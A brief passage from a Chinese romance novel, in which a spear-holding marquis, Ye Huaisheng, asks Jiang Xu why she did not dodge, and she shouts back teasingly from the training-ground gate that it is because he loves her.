    而叶淮生提着长枪，立在原地。


    墨发被银冠竖起，高扎的马尾斜落在肩。鬓间碎发随风飘扬，拂过他冷峭的眉眼，灰棕色的眼眸中仍带着一丝阴戾。


    “本侯问你。”


    “为什么不躲？”


    姜絮一直退到了演武场大门才停下脚步。


    长风骤起，吹得她裙裾翻飞，鬓间珠钗轻晃，丁零碎响。


    她扬起一抹狡黠的笑，两手虚虚掩在嘴边，对离她百步之远的还在寻求一个答案的他，大声回道：


    “因为——”


    “侯爷爱我——”


    “呜呼——”